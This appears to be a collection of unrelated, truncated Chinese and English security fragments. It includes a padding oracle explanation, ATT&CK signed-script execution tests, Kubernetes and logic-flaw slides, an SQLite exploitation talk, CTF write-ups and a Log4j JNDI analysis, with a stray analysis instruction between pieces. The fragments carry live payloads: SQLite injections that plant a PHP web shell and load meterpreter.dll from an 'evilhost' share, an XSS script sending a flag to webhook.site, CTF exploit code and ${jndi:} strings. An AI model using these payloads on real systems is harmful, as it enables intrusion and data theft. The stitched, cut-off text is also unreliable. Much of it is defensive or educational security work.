`char` | 2 byte | \\u0000 | 0 to 65535 | | `boolean` | _N/A_ | false | true / false | {.show-header} ### Strings ```java String first = "John"; String last = "Doe"; String name = first + " " + last; System.out.println(name); ``` See: [Strings](#java-strings) ### Loops ```java String word = "QuickRef"; for (char c: word.toCharArray()) { System.out.print(c + "-"); } // Outputs: Q-u-i-c-k-R-e-f- ``` See: [Loops](#java-loops) ### Arrays ```java char[] chars = new char[10]; chars[0] = 'a' chars[1] = 'b' String[] letters = {"A", "B", "C"}; int[] mylist = {100, 200}; boolean[] answers = {true, false}; ``` See: [Arrays](#java-arrays) ### Swap ```java int a = 1; int b = 2; System.out.println(a + " " + b); // 1 2 int temp = a; a = b; b = temp; System.out.println(a + " " + b); // 2 1 ``` ### Type Casting ```java // Widening // byte<short<int<long<float<double int i = 10; long l = i; // 10 // Narrowing double d = 10.02; long l


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# T1216-win-签名脚本代理执行 ## 来自ATT&CK的描述 攻击者可能使用用可信证书签署的脚本来代理执行恶意文件在Windows安装中默认的几个微软签名脚本可以用来代理执行其他文件这种行为可能被攻击者滥用来执行恶意文件从而绕过系统的应用控制和签名验证 ## 测试案例 ### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution 执行已签名的SyncAppvPublishingServer脚本并带有执行任意PowerShell命令的选项执行后calc.exe将被启动 攻击命令无需权限提升Windows命令行执行即可 ``` C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}" ``` command_to_executeStart-Process calc ### 测试2 manage-bde.wsf Signed Script Command Execution manage-bde.wsf 签名脚本命令执行并带有执行任意命令的选项 ``` set comspec=#{command_to_execute} cscript %windir%\System32\manage-bde.wsf ``` command_to_execute%windir%\System32\calc.exe 清理命令 ``` set comspec=%windir%\System32\cmd.exe ``` ## 检测日志 Windows 安全日志Sysmon日志 ## 测试复现 ### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution ``` C:\Users\Administrator.ZHULI>C:\windows\system32\SyncAppvPublishingServer.vbs "\n;Start-Process calc" ``` ### 测试2 manage-bde.wsf Signed Script Command Execution ``` set comspec=%windir%\System32\calc.exe cscript %windir%\System32\manage-bde.wsf ``` 未复现成功缺少manage-bde.wsf文件下载了github上的文件但是提示异常 ``` C:\Users\Administrator.ZHULI>cscript %windir%\System32\manage-bde.wsf Microsoft (R) Windows Script Host Version 5.812 版权所有(C) Microsoft Corporation保留所有权利 C:\Windows\System32\manage-bde.wsf(19, 38) Windows Script Host: 无效实体引用 ``` manage-bde.wsf文件参考地址<https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712> ## 测试留痕 ### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution ``` Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-11 08:32:36.816 ProcessGuid: {78c84c47-40a4-61dd-5325-000000000800} ProcessId: 5680 Image: C:\Windows\System32\wscript.exe FileVersion: 5.812.10240.16384 Description: Microsoft Product: Microsoft  Windows Script Host Company: Microsoft Corporation OriginalFileName: wscript.exe CommandLine: "C:\Windows\System32\WScript.exe" "C:\windows\system32\SyncAppvPublishingServer.vbs" "\n;St


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# Padding Oracle Attack ## 介绍 Padding Oracle Attack 攻击一般需要满足以下几个条件 - 加密算法 - 采用 PKCS5 Padding 的加密算法 当然非对称加密中 OAEP 的填充方式也有可能会受到影响 - 分组模式为 CBC 模式 - 攻击者能力 - 攻击者可以拦截上述加密算法加密的消息 - 攻击者可以和 padding oracle即服务器 进行交互客户端向服务器端发送密文服务器端会以某种返回信息告知客户端 padding 是否正常 Padding Oracle Attack 攻击可以达到的效果如下 - 在不清楚 key 和 IV 的前提下解密任意给定的密文 ## 原理 Padding Oracle Attack 攻击的基本原理如下 - 对于很长的消息一块一块解密 - 对于每一块消息先解密消息的最后一个字节然后解密倒数第二个字节依次类推 这里我们回顾一下 CBC 的 - 加密 $$ C_i=E_K(P_i \oplus C_{i-1})\\ C_0=IV $$ - 解密 $$ P_{i}=D_{K}(C_{i})\oplus C_{i-1}\\ C_{0}=IV $$ 我们主要关注于解密这里我们并不知道 IV 和 key这里我们假设密文块的长度为 n 个字节 假设我们截获了密文最后两个密文块 $F$ 与 $Y$ 以获取密文块 $Y$ 的对应明文的最后一个字节为例子进行分析为了获取 $Y$ 解密后的内容我们首先需要伪造一块密文块 $F'$ 以便于可以修改 $Y$ 对应解密明文的最后一个字节这是因为若我们构造密文 `F'|Y` 那么解密 $Y$ 时具体为 $P'=D_K(Y)\oplus F'$ 所以修改密文块 $F'$ 的最后一个字节 $F'_{n}$ 可以修改 Y 对应解密明文 $P'$ 的最后一个字节 $P'_n$ 进而反推出原先的明文 $P$ 的最后一个字节下面给出获取 $P$ 最后一个字节的过程 1. `i=0`设置 $F'$ 的每个字节为**随机字节** 2. 设置 $F'_n=i \oplus 0x01$  3. 将 `F'|Y` 发送给服务器如果服务器端没有报错那有很大概率 $P'$ 的最后一个字节是 0x01否则只有 $P'$ 的最后 $P'_n \oplus i \oplus 0x01$ 字节都是 $P'_n \oplus i \oplus 0x01$ 才不会报错**而且需要注意的是 padding 的字节只能是 1 到 n** 因此若想要使得在 F' 随机地情况下并且满足 padding 字节大小的约束情况下还不报错**概率很小**所以在服务器端不报错的情况下我们可以认为我们确实获取了正确的字节这时可知 $D_k(Y)$ 的最后一个字节 $D_k(Y)_n$ 为 $P'_n \oplus F'_n = 0x01 \oplus i \oplus 0x01 = i$ 即可知道原先的明文 $P$ 的最后一个字节 $P_n = D_k(Y)_n \oplus F_n = i \oplus F_n$  4. 在出现错误的情况下`i=i+1`跳转到 2. 当获取了 $P$ 的最后一个字节后我们可以继续获取 $P$ 的倒数第二个字节此时需要设置 $F'_n=D_k(Y)_n\oplus 0x02$ 同时设置 $F_{n-1}=i \oplus 0x02$ 去枚举 `i`以此类推我们可以获取 Y 所对应的明文 $P$ 的所有字节 所以综上所示Padding Oracle Attack 其实在一定程度上是一种具有很大概率成功的攻击方法 然而需要注意的是往往遇到的一些现实问题并不是标准的 Padding Oracle Attack 模式我们往往需要进行一些变形 ## 2017 HITCON Secret Server ### 分析 程序中采用的加密是 AES CBC其中采用的 padding 与 PKCS5 类似 ```python def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length def unpad(msg): return msg[:-ord(msg[-1])] ``` 但是在每次 unpad 时并没有进行检测而是直接进行 unpad 其中需要注意的是每次和用户交互的函数是 - `send_msg` 接受用户的明文使用固定的 `2jpmLoSsOlQrqyqE` 作为 IV进行加密并将加密结果输出 - `recv_msg` 接受用户的 IV 和密文对密文进行解密并返回根据返回的结果会有不同的操作 ```python msg = recv_msg().strip(


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2022/3/17 16:07 Evernote Export file:///C:/Users/jiushi/Desktop/k8s未授权.html 1/20 介绍 k8s全称kubernetes是一个由google开源的用于自动部署扩展和管理容器化应用程序的开源系统通过k8s可跨多台主机进行容器编排快速按需扩展容器化应用及其资源 对应用实施状况检查服务发现和负载均衡等 组件介绍 如图所示k8s集群由主控节点Master node以下简称master和工作节点Worker Node以下简称node组成 master节点负责资源调度调度应用维护状态和应用扩容等 node节点上跑着应用服务每个Node节点有一个kubelet负责node与master之间的通信 Master node组件 1. APIserver集群统一入口以restful方式交给etcd存储用户端一般通过kubectl命令行工具与kube-apiserver进行交互 2. .Controller-manager 处理集群中常规后台任务通常一个资源对应一个控制器 3. Scheduler 节点调度选择node节点应用部署负责决定将Pod放在哪个Node上会对各个节点的负载性能数据考虑最优的node 4. Etcd 存储系统用于保存集群中相关的数据 Worker node组件 1. Kubelet Master派到node节点的agent管理本机容器的各种操作 2. Kube-proxy 提供网络代理用来实现负载均衡等操作 3. Pod 是k8s中的最小部署单元一组容器的集合一个pod中的容器是共享网络的主要是基于docker技术来搭建的 用户端命令下发通常流程如下 1客户端根据用户需求调用kube-apiserver相应api 2kube-apiserver根据命令类型联动master节点内的kube-controller-manager和kube-scheduler等组件通过kubelet进行下发新建容器配置或下发执行命令等给到对应 node节点 3node节点与容器进行交互完成下发的命令并返回结果 4master节点最终根据任务类型将结果持久化存储在etcd中 安全机制 访问k8s集群的时候需要经过三个安全步骤完成具体操作过程中都要经过apiserverapiserver做统一协调 第一步 认证判断用户是否为能够访问集群的合法用户 第二步 鉴权通过鉴权策略决定一个API调用是否合法 第三步 准入控制就算通过了上面两步客户端的调用请求还需要通过准入控制的层层考验才能获得成功的响应大致意思就是到了这步还有一个类似acl的列表如果列表有请 求内容就通过否则不通它以插件的形式运行在API Server进程中会在鉴权阶段之后对象被持久化etcd之前拦截API Server的请求对请求的资源对象执行自定义校 验修改拒绝等操作 序号 认证方式 认证凭据 1 匿名认证 Anonymous requests 2 白名单认证 BasicAuth认证 3 Token认证 WebhooksServiceAccount TokensOpenID Conne ct Tokens等 4 X509证书认证 匿名认证一般默认是关闭的 白名单认证一般是服务启动时加载的basic用户配置文件并且通常没有更多设置的话basic认证仅仅只能访问但是没有操作权限 token认证更涉及到对集群和pod的操作这是我们比较关注的 X509证书认证是kubernetes组件间内部默认使用的认证方式同时也是kubectl客户端对应的kube-config中经常使用到的访问凭证是一种比较安全的认证方式 当API Server内部通过用户认证后就会执行用户鉴权流程即通过鉴权策略决定一个API调用是否合法API Server目前支持以下鉴权策略 序号 鉴权方式 描述 1 Always 当集群不需要鉴权时选择AlwaysAllow 2 ABAC 基于属性的访问控制 3 RBAC 基于角色的访问控制 2022/3/17 16:07 Evernote Export file:///C:/Users/jiushi/Desktop/k8s未授权.html 2/20 4 Node 一种对kubelet进行授权的特殊模式 5 Webhook 通过调用外部REST服务对用户鉴权 Always策略光看描述就知道生产环境中必定不会存在 ABAC虽然功能强大但是难以理解且配置复杂已经被RBAC替代 RBAC是目前k8s中最主要的鉴权方式 而Node鉴权策略主要是用于对kubelet发出的请求进行访问控制限制每个Node只访问它自身运行的Pod及相关ServiceEndpoints等信息 当RBAC无法满足某些特定需求时 候可自行编写鉴权逻


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Web渗透测试之逻辑漏洞 挖掘 演讲嘉宾hackbar 上海银基信息安全技术股份有限公司 简单VS复杂 1.思考 1.1利用工具简单 数据包抓取工具Burpsuitfiddler等 1.2思路复杂 核心 绕过真实用户身份或正常业务流程达到预期的目的 1.2.1用户身份认证 用户身份特性认证 本地认证 服务器端认证 1.2.2业务流程对业务的熟悉程度各种类 型的网站业务模式 电信网厅业务清单图解 2逻辑漏洞类型 支付漏洞 密码找回漏洞 任意用户登录漏洞 认证缺陷弱认证认证凭证获取 接口枚举 越权有条件的越权空值绕过  2.1支付漏洞 2.1.1支付漏洞突破口 一订单相关 1.选择商品时修改商品价格 2.选择商品时将商品数量设为负数 3.商品剩余1时多人同时购买是否产生冲突 4.商品为0时是否还能购买 5.生成订单时修改订单金额 二结算相关 1.优惠打折活动多次重复使用 2.拦截数据包修改订单金额 3.拦截数据包修改支付方式 4.伪造虚假订单刷单 2.1.1支付漏洞突破口 三支付相关 1.拦截数据包伪造第三方确认信息 2.保存用户付款信息被窃取 四退货相关 1绕过商家确认直接退货 2绕过商品类型直接退货(退货是否允许) 五收货相关 1绕过客户确认直接收货 2.2密码重置漏洞 用户密码找回方式 手机验证码邮箱密保问题自动生成新密码密码找回链接 发送 2.2.1密码重置突破口 认证凭证暴力破解 认证凭证回显 认证凭证重复使用 重新绑定 用户身份特性认证 服务器端认证 本地认证 密码找回流程绕过  2.3任意用户登录 空密码绕过 身份替换 认证凭证篡改  2.4认证缺陷漏洞 弱验证 空验证 认证凭证有效性&唯一性 2.5越权漏洞 普通越权 未授权访问登录凭证验证 绕过授权模式参数构造等 2.6接口枚举 业务接口因为没有做验证或者验证机制缺陷容易遭到枚举攻击 撞库 订单优惠券等遍历 3案例分享 支付漏洞 任意用户密码重置漏洞 任意用户登录漏洞 3.1.1支付漏洞 一分钱看电影 3.1.1支付漏洞 一分钱看电影 3.1.1支付漏洞 一分钱看电影 3.1.1支付漏洞 一分钱看电影 3.1.1支付漏洞 一分钱看电影 3.1.1支付漏洞 一分钱看电影 3.1.2支付漏洞 某商城任意积分 兑换 3.1.2支付漏洞 某商城任意积 分兑换 由于积分不够 无法兑换: 3.1.2支付漏洞 某商城任意积 分兑换 由于积分不够 无法兑换但 是可以通过修 改数据包返回 值让页面前 端显示兑换功 能键 3.1.2支付漏洞 某商城任意积 分兑换 由于积分不够 无法兑换但 是可以通过修 改数据包返回 值让页面前 端显示兑换功 能键 3.1.2支付漏洞 某商城任意积 分兑换 3.1.2支付漏洞 某商城任意积 分兑换 3.1.2支付漏洞 某商城任意积 分兑换 3.1.2支付漏洞 某商城任意积 分兑换 3.1.2支付漏洞 某商城任意积 分兑换 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.1.3支付漏洞 某系统增值业 务免费使用 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 3.2.1密码重置漏洞 认证凭证脆弱性 商户版 3.2.1密码重置漏洞 认证凭证脆弱性 商户版 3.2.1密码重置漏洞 认证凭证脆弱性 商户版 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.2密码重置漏洞 认证凭证有效性 &唯一性 3.2.3密码重置漏洞 认证凭证回显 3.2.3密码重置漏洞 认证凭证回显 3.2.3密码重置漏洞 认证凭证回显 3.2.3密码重置漏洞 认证凭证回显 3.2.3密码重置漏洞 认证凭证回显 3.2.4密码重置漏洞 认证凭证空值绕过 3.2.4密码重置漏洞 认证凭证空值绕过 3.2.4密码重置漏洞 认证凭证空值绕过 3.2


Instruction: 请分析这段安全相关的文本内容

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欢迎参加 BlueHat Shanghai Eric Doerr 微软安全响应中心总经理 @edoerr May 30, 2019 2019 年中国的安全研究员是微软漏洞赏金 计划中成果最多影响力最大的贡献者 增长 57% 来自中国的漏 洞赏金计划参 与者 46% 来自中国的漏 洞赏金计划提 交成果 2018 vs 2019 影响力 中国48% 全球52% 漏洞赏金计划奖金 中国22% 全球78% 符合漏洞赏金计划要求的提交 2018 vs 2019 侧重点 2019 所提交漏洞类型的划分 内存安全问题 56% 信息泄露 15% 微软漏洞赏金计划 Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper- V Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge 提交数增加 75% Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview 提交数增加 40% Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V 提交数增加 50% 微软漏洞赏金计划 9 致谢 来自中国的安全研究人员和合作公 司已经证明了自己的技术实力帮 助我们一起在 2019 保护广大的用 户和整个安全生态圈 一些历史回顾 围绕安全投入的漫长历史 90 年代至 2010年 1998 MSRC 创立 2002 Bill Gates 可信计算备忘录 2003 Visual Studio 中的 缓冲区溢出保护 适用于 XP 和 Server 2003 的 Windows Defender 2004 安全开发生命 周期SDL XP SP2 提供 数据执行保护 (DEP) 2005 首届 BlueHat 2006 BitLocker 伴 随 Windows Vista 发布 2007 地址空间布局随 机化ASLR 伴随 Vista 发布 2009 AppLocker 伴随 Windows 7 发布 围绕安全投入的漫长历史 2010 年至今 2013 微软发起 首个漏洞 赏金计划 数字安全 中心成立 2014 控制流防 护CFG 伴随 Window s 8.1 发 布 2015 Office ATP 高级威胁防 护发布 微软高级威胁 分析ATA 发布 网络防御运营 中心成立 2016 微软云应用安 全服务 发布 Azure 安全 中心ASC 发布 Defender ATP 发布 2017 Credenti al Guard 伴随 Win 10 发布 Defender Exploit Guard 发 布 2018 Azure ATP 发布 FIDO2 免密 码登录 Microsoft Secure Score 发布 2019 Azure Sentinel 在 RSA 发布 Microsoft Threat Experts 发布 首届 BlueHat Shanghai CVE-2019-0708 范例 对安全的关注和投入在新版 Windows 中获得了回报  漏洞远程显示协议中的 身份验证前 UAF Use After Free   Win8Server 2012 Win10 不受影响  为结束支持的 XP Win7 和 Server 2003 发布了补丁 微软的未来 变得数字化 到 2020 年时标 准普尔 500 公司 的平均年龄会达到 12 岁 50% 的标普 500 公司将在 2026年 被取代 1 百万/小时 到 2020 年新 设备的上线速度 60% 计算能力 到 2025 年将通过 云平台提供 为了不落后于时代 每个组织都必须成 为软件公司 微软云 应用程序创新 业务应用 安全和管理 数据 人工智能和机器 学习 生产力 Power BI 高级威胁防护 安全中心 认知服务 机器学习 Azure全球规模 超过95% 的世界500强公司使用 Azure 开发者是每个公司业务创新的 核心 最多贡献者 2018 年 11 亿人 最多开发者 3600 万人 增速最快


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The Google Hackers Guide johnny@ihackstuff.com http://johnny.ihackstuff.com - Page 1 - The Google Hackers Guide Understanding and Defending Against the Google Hacker by Johnny Long johnny@ihackstuff.com http://johnny.ihackstuff.com The Google Hackers Guide johnny@ihackstuff.com http://johnny.ihackstuff.com - Page 2 - GOOGLE SEARCH TECHNIQUES................................................................................................................ 3 GOOGLE WEB INTERFACE................................................................................................................................... 3 BASIC SEARCH TECHNIQUES .............................................................................................................................. 7 GOOGLE ADVANCED OPERATORS ........................................................................................................... 9 ABOUT GOOGLES URL SYNTAX .................................................................................................................... 12 GOOGLE HACKING TECHNIQUES........................................................................................................... 13 DOMAIN SEARCHES USING THE SITE OPERATOR........................................................................................... 13 FINDING GOOGLETURDS USING THE SITE OPERATOR................................................................................. 14 SITE MAPPING: MORE ABOUT THE SITE OPERATOR...................................................................................... 15 FINDING DIRECTORY LISTINGS........................................................................................................................ 16 VERSIONING: OBTAINING THE WEB SERVER SOFTWARE / VERSION............................................................. 17 via directory listings ...................................................................................................................................


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Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software Kun Yang(@KelwinYang) About us  Beijing Chaitin Tech Co., Ltd(@ChaitinTech)  https://chaitin.cn/en  pentesting services and enterprise products  Chaitin Security Research Lab  Pwn2Own 2017 3rd place  GeekPwn 2015/2016 awardees: PS4 Jailbreak, Android rooting  CTF players from team b1o0p, 2nd place at DEF CON CTF 2016  Acknowledgement  Siji Feng(a.k.a slipper)  Zhi Zhou(@CodeColorist) 2 SQLite SQLite is a self-contained, high-reliability, embedded, full-featured, public-domain, SQL database engine. SQLite is the most used database engine in the world.  Storage backend for web browsers  Programming language binding  Web database  Embedded database for mobile apps  Database on IOT devices 3 Known Attacks on SQLite SQLite3 Injection Cheat Sheet  Attach Database  ?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); ?>';--  SELECT load_extension()  ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- 4 Memory Corruption SQLite database: file format with inevitable memory corruption bugs  CVE-2015-7036  Parsing a malformed database file will cause a heap overflow of several bytes in the function sqlite3VdbeExec()  CVE-2017-10989  mishandles undersized RTree blobs in a crafted database, leading to a heap-based buffer over-read 5 Memory Corruption SQLite interpreter: more flexible ways to trigger bugs in sql statements  CVE-2015-3414  SQLite before 3.8.9 does not properly implement the dequoting of collation-sequence names, as demonstrated by COLLATE"""""""" at the end of a SELECT statement.  CVE-2015-3415  The sqlite3VdbeExec function in vdbe.c in SQLite before 3.8.9 does not properly implement comparison operators, as demonstrated by CHECK(0&O>O) in a CREATE TABLE statement. 6 Fuzzing SQLite Previous work of Michał Zalewski: AFL: Finding bugs in SQLit


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%2F 构造路径穿越, exp 如下 bytedance 2022 Nu1L Compare from pwn import * import random from fractions import Fraction from Crypto.Util.number import * CHALLENGE_ID = 'c34409b34458e108242ea271d5126481' r = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True) context(log_level='debug') MSG = b'MSG//2**512==0' r.sendlineafter(b'Hello, Give me your expr: ', MSG) for _ in range(100): r.recvuntil(b'n = ') n = int(r.recvline().decode().strip()) r.recvuntil(b'g = ') g = int(r.recvline().decode().strip()) r.recvuntil(b'a = ') a = int(r.recvline().decode().strip()) r.recvuntil(b'b = ') b = int(r.recvline().decode().strip()) inv_b = pow(b, -1, n**2) x = a * inv_b % n**2 r.sendlineafter(b'msg = ', f'{x}'.encode()) r.interactive() PYTHON Silver Droid 离谱题直接logcat就有IMEI ByteCTF{8606351760878824} service.jar 有个东西 framework.jar 思路 用 godGiveMeAddService 覆盖 task_activity <script> fetch("https://xxx.com/local_cache/..%2Ffiles%2Fflag").then(x => x.text()).then(x => {document.write(x);fetch("https://webhook.site/3fefdb0a-4e66- 491f-8246-9284dbddb1a2/flag="+x)}); </script> HTML Find IMEI Android MITM static final int TRANSACTION_godGiveMeAddService = 0xDF; case 0xDF: parcel2.enforceInterface("android.app.IActivityManager"); iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder()); reply.writeNoException(); JAVA 构造中间人服务 package ; import Service; import Context; import Intent; import IBinder; import RemoteException; import Log; import InvocationTargetException; public class FakeService extends Service { String TAG = "CTF1"; private IBinder mbinder; private IBinder old_binder; @Override public void onCreate() { super.onCreate(); try { old_binder = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredM ethod("getService", String.class).invoke(null, "activity_task"); mbinder = new ServerBinder(old_binder); IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredM ethod("getService", String.class).invoke(null, Context.ACTIVITY_SER


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CybricsCTF WriteUp By Nu1L Author : Nu1L CybricsCTF WriteUp By Nu1L CTB Little Buggy Editor rm -rfer GrOSs 1 Reverse Walker Kernel Reverse Paired Listing Network LX-100 ASCII Terminal WEB Multichat Ad Network Announcement Cyber Signer scanner GrOSs 2 Forensic Recording Namecheck rebyC CAPTCHA The Flag CTB Little Buggy Editor curses vim flag /etc/flag.txt buffer 500 * 500 _maxy _maxx _maxy _maxx terminator GlobalBuffer, FileName /etc/flag.txt rm -rfer GrOSs 1 flag Reverse Walker flag.txtstartread dulrcf cCHECKPOINT + 1 fCHECKPOINT4 xyCHECKPOINT dump10x10cxy keykey01 size5ckey checkpoint dfs buildbox:/# echo 'set line=($<)' > test.sh buildbox:/# echo 'while($#line > 0)' >> test.sh buildbox:/# echo 'echo $line' >> test.sh buildbox:/# echo 'set line= ( $< )' >> test.sh buildbox:/# echo end >> test.sh buildbox:/# source test.sh < /etc/ctf/flag.txt cybrics{cREUaGdddrcBtdtpruurrrrddddllcFGRiQllddrrrrrddlllcikhAcf} Kernel Reverse ioctl0x5702xor 0x13373389Flag Paired 2EXEdlldbexecheck flag exeexedlldllkey value db cREUaG //checkpoint 1 dddr cBtdtp //checkpoint 2 ruurrrrddddll cFGRiQ //checkpoint 3 llddrrrrrddlll cikhAcf // checkpoint 4 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <time.h> int main() { int fd = open("/dev/ioctl", O_RDWR); unsigned char * flag[512]; *(unsigned int *)flag = time(0)  0x13373389u; ioctl(fd, 0x5702, &flag); puts(flag); } app13checkcheckdbdummy_string stage 2. checkenablestage 3. Fcheckdbshellcodecheck this_is_just_some_random_string!check stage 3app2checkapp2app10x400 app1app2dllapp2 shellcodeapp1app1app2shellcode shellcodeflag0x81'rbyc' storage(7) = 0x767c unk_4D70000[8] = dword ptr flag[0] storage(7) += dword ptr unk_4D70000[8] storage(7) = storage(7) == 0x909b110c tot += 1 storage(7) = 0xe20b unk_4D70000[8] = dword ptr flag[1] storage(7) += dword ptr unk_4D70000[8] storage(7) = storage(7) == 0x9a917ca5 tot += 1 storage(7) = 0xc323 unk_4D70000[8] = dword ptr flag[2] storage(7) += dwor


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实战攻防演习之 紫队视角下的实战攻防演习组织 1 实战攻防演习之 紫队视角下的实战攻防演习组织 3 前 言 网络实战攻防演习是新形势下关键信息系统网络 安全保护工作的重要组成部分演习通常是以实际运 行的信息系统为保护目标通过有监督的攻防对抗 最大限度地模拟真实的网络攻击以此来检验信息系 统的实际安全性和运维保障的实际有效性 2016年以来在国家监管机构的有力推动下网 络实战攻防演习日益得到重视演习范围越来越广 演习周期越来越长演习规模越来越大国家有关部 门组织的全国性网络实战攻防演习从2016年仅有几家 参演单位到2019年已扩展到上百家参演单位同时 各省各市各行业的监管机构也都在积极地筹备 和组织各自管辖范围内的实战演习一时间网络实 战攻防演习遍地开花 在演习规模不断扩大的同时攻防双方的技术水平 和对抗能力也在博弈中不断升级 2016年网络实战攻防演习尚处于起步阶段攻 防重点大多集中于互联网入口或内网边界 2017年实战攻防演习开始与重大活动的网络安 全保障工作紧密结合就演习成果来看从互联网侧 实战攻防演习之 紫队视角下的实战攻防演习组织 4 发起的直接攻击仍然普遍十分有效而系统的外层防 护一旦被突破横向移动跨域攻击往往都比较容 易实现 2018年网络实战攻防演习开始向行业和地方深 入伴随着演习经验的不断丰富和大数据安全技术的 广泛应用防守方对攻击行为的监测发现和溯源能 力大幅增强与之相应的攻击队开始更多地转向精 准攻击和供应链攻击等新型作战策略 2019年以来网络实战攻防演习工作受到了监 管部门政企机构和安全企业的空前重视流量分 析EDR蜜罐白名单等专业监测与防护技术被防 守队广泛采用攻击难度的加大也迫使攻击队全面升 级诸如0day漏洞攻击1day漏洞攻击身份仿冒 钓鱼WiFi鱼叉邮件水坑攻击等高级攻击手法在 实战攻防演练中均已不再罕见攻防演习与网络实战 的水平更加接近 如何更好地参与网络实战攻防演习如何更好地借 助实战攻防演习提升自身的安全能力这已经成为大 型政企机构运营者关心的重要问题 作为国内领先的网络安全企业奇安信集团已成为 全国各类网络实战攻防演习的主力军奇安信集团安 实战攻防演习之 紫队视角下的实战攻防演习组织 5 服团队结合200余次实战攻防演习经验总结编撰了这 套实战攻防演习系列丛书分别从红队视角蓝队视 角和紫队视角来解读网络实战攻防演习的要领以 及如何结合演习提升政企机构的安全能力 需要说明的是实战攻防演习中的红方与蓝方对抗 实际上是沿用了军事演习的概念和方法一般来说 红方与蓝方分别代表攻击方与防守方不过红方和 蓝方的名词定义尚无严格的规定也有一些实际的攻 防演习将蓝队设为攻击队将红队设为防守队在 本系列丛书中我们依据绝大多数网络安全工作者的 习惯统一将攻击队命名为红队将防守队命名为蓝 队而紫队则代表组织演练的机构 紫队视角下的实战攻防演习组织是本系列丛书 的第三本本书重点介绍实战环境下的紫队工作提 出组织实战攻防演习的四个阶段给出实战攻防演习 的组织要素组织形式明确演习各方的人员职责 描述每阶段需开展的重点工作并提示在开展实战攻 防演习时应规避的风险 实战攻防演习之 紫队视角下的实战攻防演习组织 6 目 录 第一章 什么是紫队......................................1 一实战攻防演习组织要素...................................1 二实战攻防演习组织形式...................................3 三实战攻防演习组织关键...................................3 第二章 实战攻防演习组织的四个阶段..............6 一组织策划阶段..................................................6 二前期准备阶段................................................15 三实战攻防演习阶段.........................................17 四演习总结阶段................................................20 第三章 实战攻防演习风险规避措施...............24 一演习限定攻击目标系统不限定攻击路径...24 二除授权外演习不允许使用拒绝服务攻击...24 实战攻防演习之 紫队视角下的实战攻防演习组织 7 三网页篡改攻击方式的说明.............................24 四演习禁止采用的攻击方式.............................25 五攻击方木马使用要求.


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2021 年 12  9 号注定是个不眠之夜著名的Apache Log4j 项被爆存在远程代码执漏洞 且利简单影响危害巨光是引了 log4j2 依赖的组件都是数不清更别提项本身可能存 在的险了如下图所示mvnrepository搜索引了 log4j-core version 2.14.1的项就  了 本就来简单分析下该漏洞的原理 引了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应项或组件 根据官的修订信息https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2- 3201?lter=allissues 001 写在前 002 影响范围 003 漏洞分析 可以明确知道是通过 jndi 中 LDAP 注的式实现了 RCE然后查看其补丁的更改记录 可以发现对 lookup 函数进了修改判断 知道了漏洞类型那么就好了先翻阅官档中关于 lookup 的说明 lookup 提供了种在任意位置向 Log4j2 配置添加值的法是实现 StrLookup 接的特殊类型 的插件 查看官档发现log4j2 持的法有很多 总计有 base64  data  ctx  main  env  sys  sd  java  marker  jndi  jvmrunargs  map  bundle  log4j 由于这主要说明的是关于 JNDI lookup 的法其他的不再赘述 关于 JNDI lookup官档有说明 JndiLookup 允许通过 JNDI 检索变量然后给了示例 实际上通过 log4j2 持的法那张图中就可以发现log4j 中 jdni 的法格式如下 既然明确了 lookup 是触发漏洞的点并且找到了可以触发 lookup 的法 那么就可以找 点只要找到点然后传 jndi 调 ldap 的式就能够实现 RCE 那么哪个点可以传 ${jndi:JNDIContent} 呢 没错了就是 LogManager.getLogger().xxxx() 法 在log4j2中共有8 个志级别可以通过 LogManager.getLogger() 调记录志的法如 下 上述列表中 error() 和 fatal() 法可默认触发漏洞其余的法需要配置志级别才可以触 发漏洞因为在 logIfEnabled 法中对当前志等级进了次判断 <File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout> </File> ${jndi:JNDIContent} LogManager.getLogger().error() LogManager.getLogger().fatal() 